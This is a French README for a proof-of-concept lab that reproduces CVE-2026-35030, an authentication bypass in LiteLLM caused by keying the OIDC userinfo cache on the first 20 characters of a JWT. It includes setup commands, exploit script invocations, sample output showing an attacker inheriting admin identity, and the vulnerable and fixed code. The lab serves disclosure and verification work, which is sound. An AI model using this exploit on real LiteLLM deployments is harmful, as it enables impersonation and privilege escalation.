
Le code pour reproduire personnellement la vulnérabilité correspondante
LiteLLM utilise
token[:20]comme clé de cache pour les userinfo OIDC. Deux JWT différents signés avec le même algorithme produisent des 20 premiers caractères identiques, permettant à un attaquant non authentifié d'hériter de l'identité et des permissions d'un autre utilisateur en cache.
| Champ | Valeur |
|---|
| CVE | CVE-2026-35030 |
| CVSS v4.0 | 9.4 (CRITIQUE) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N |
| CVSS v3.1 | 9.1 (CRITIQUE) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-287 (Authentification incorrecte) / CWE-222 (Identifiants insuffisamment protégés) |
| Affecté | LiteLLM < 1.83.0 (avec enable_jwt_auth: true) |
| Corrigé | v1.83.0+ (clé de cache changée en sha256(token)) |
| Publié | 2026-04-06 |
| Découvert par | Veria Labs |
| Liens | GHSA-jjhc-v7c2-5hh6 • NVD • GitLab Advisory |
LiteLLM est une passerelle AI / serveur proxy pour appeler les API LLM. Lorsque l'authentification JWT
est activée (enable_jwt_auth: true), LiteLLM valide les jetons auprès d'un fournisseur OIDC
et met en cache la réponse userinfo.
La vulnérabilité : La clé de cache utilise seulement les 20 premiers caractères du JWT :
# Code vulnérable (pre-1.83.0)
cache_key = token[:20] # Seulement les 20 premiers caractères !
Un JWT est composé de trois segments encodés en base64url séparés par des points :
<header>.<payload>.<signature>
Le header (ex. {"alg":"RS256","typ":"JWT"}) s'encode de manière identique pour tous les jetons
utilisant le même algorithme de signature. Cela signifie que deux JWT différents — émis pour des
utilisateurs complètement différents — auront les 20 premiers caractères identiques.
1. Admin s'authentifie → LiteLLM récupère userinfo → mis en cache avec clé = token[:20]
↑
2. Attaquant fabrique un JWT avec le même algorithme (RS256) ──────┘
→ token[:20] est IDENTIQUE → cache HIT → hérite de l'identité admin
Note sur la licence entreprise : L'authentification JWT/OIDC est une fonctionnalité exclusivement entreprise dans LiteLLM (nécessite
LITELLM_LICENSE). Pour la reproduction locale du CVE, les deux Dockerfiles modifient la vérificationpremium_useràTrue. Cela n'affecte pas la vulnérabilité — la collision de clé de cache (token[:20]) existe indépendamment de la vérification entreprise.Le premier démarrage exécute les migrations Prisma (~60-90s). LiteLLM sera prêt lorsque les logs afficheront
"Uvicorn running on http://0.0.0.0:4000".
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build
# 2. Install Python dependencies
pip install -r requirements.txt
# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo
# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
Mode démo — montre la collision de clé de cache :
[+] Admin JWT (subject=admin):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[+] Attacker JWT (subject=attacker):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[🔥] COLLISION: Both tokens share the same first 20 characters!
Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
Mode exploit — démontre le contournement effectif de l'authentification :
[VULNERABLE] Exploit Attempt — target: http://localhost:4000
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "admin", ...} ← INHERITED ADMIN!
[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
Attacker's token[:20] matched admin's cache key.
Response user_id='admin' (expected 'admin' for escalation)
Version corrigée — la clé de cache en sha256 empêche la collision :
[FIXED] Exploit Attempt — target: http://localhost:4001
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "attacker", ...} ← OWN IDENTITY preserved
[+] Attacker identified as user_id='attacker'.
Fixed version: cache collision prevented.
Dans litellm/proxy/auth/handle_jwt.py, le cache des userinfo OIDC utilise
token[:20] comme clé :
# Vulnérable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # Seulement les 20 premiers caractères !
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # Cache hit → ignorer la récupération userinfo !
# Corrigé (v1.83.0+) — même fichier, ligne 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
token[:20] est insuffisant| Composant du jeton | Contient des données spécifiques à l'utilisateur ? | Fixé pour le même algorithme ? |
|---|---|---|
| Header (premiers ~30 car.) | ❌ Non | ✅ Oui — base64 identique |
| Payload (spécifique à l'utilisateur) | ✅ Oui | ❌ Non — unique par utilisateur |
| Signature | ✅ Oui | ❌ Non — unique par clé |
Puisque l'en-tête est la seule partie dans les 20 premiers caractères, et que l'en-tête est identique pour tous les jetons utilisant le même algorithme de signature, chaque JWT RS256 du même émetteur a les 20 premiers caractères exactement identiques.
| Scénario | Description |
|---|---|
| Élévation de privilèges | Un utilisateur à faibles privilèges devient admin via collision de cache |
| Usurpation horizontale | Usurper n'importe quel utilisateur dont les userinfo sont en cache |
| Chaîne de contournement d'auth | Combinaison avec CVE-2026-35029 pour obtenir une exécution de code à distance |
CVE-2026-35030/
├── README.md # Ce fichier
├── docker-compose.yml # LiteLLM vulnérable + corrigé + OIDC simulé
├── litellm_config.yaml # Configuration LiteLLM avec JWT activé
├── requirements.txt # Dépendances Python (PoC)
├── litellm-vuln/
│ └── Dockerfile # LiteLLM vulnérable v1.82.5 avec patch entreprise
├── litellm-fixed/
│ └── Dockerfile # LiteLLM corrigé v1.83.0+ avec clé de cache sha256
├── oidc-provider/
│ ├── Dockerfile # Image du fournisseur OIDC simulé
│ ├── requirements.txt
│ └── server.py # Simulation OIDC (FastAPI)
├── exploit/
│ ├── exploit.py # Script principal d'exploit PoC
│ └── token_forge.py # Utilitaires de collision JWT
├── docs/
│ └── advisory.md # Référence de l'avis
└── screenshots/
└── README.md # Emplacement des captures d'écran de preuve
sha256(token))enable_jwt_auth: falseAvertissement : Ce contenu est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement.